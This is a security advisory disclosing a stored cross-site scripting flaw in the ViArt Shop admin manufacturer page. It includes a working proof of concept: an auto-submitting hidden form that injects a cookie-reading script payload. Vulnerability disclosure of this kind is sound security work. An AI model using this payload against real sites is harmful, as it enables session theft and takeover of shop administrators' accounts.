HTB22816: XSS vulnerability in ViArt Shop

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22816
Reference: 
http://www.htbridge.ch/advisory/xss_vulnerability_in_viart_shop_2.html
Product: ViArt Shop
Vendor: Viart Software ( http://www.viart.com/ ) 
Vulnerable Version: Enterprise v.4.0.5
Vendor Notification: 25 January 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin_manufacturer.php" 
script to properly sanitize user-supplied input in "manufacturer_name" 
variable. Successful exploitation of this vulnerability could result in a 
compromise of the application, theft of cookie-based authentication 
credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/admin_manufacturer.php"; method="post" 
name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="manufacturer_id" value="3">
<input type="hidden" name="manufacturer_name" 
value='Company"><script>alert(document.cookie)</script>'>
<input type="hidden" name="manufacturer_order" value="1">
<input type="hidden" name="friendly_url" value="">
<input type="hidden" name="affiliate_code" value="">
<input type="hidden" name="short_description" value="">
<input type="hidden" name="full_description" value="">
<input type="hidden" name="image_small" 
value="images/manufacturers/small/company.gif">
<input type="hidden" name="image_small_alt" value="company">
<input type="hidden" name="image_large" 
value="images/manufacturers/large/company.gif">
<input type="hidden" name="image_large_alt" value="company">
</form>
<script>
document.main.submit();
</script>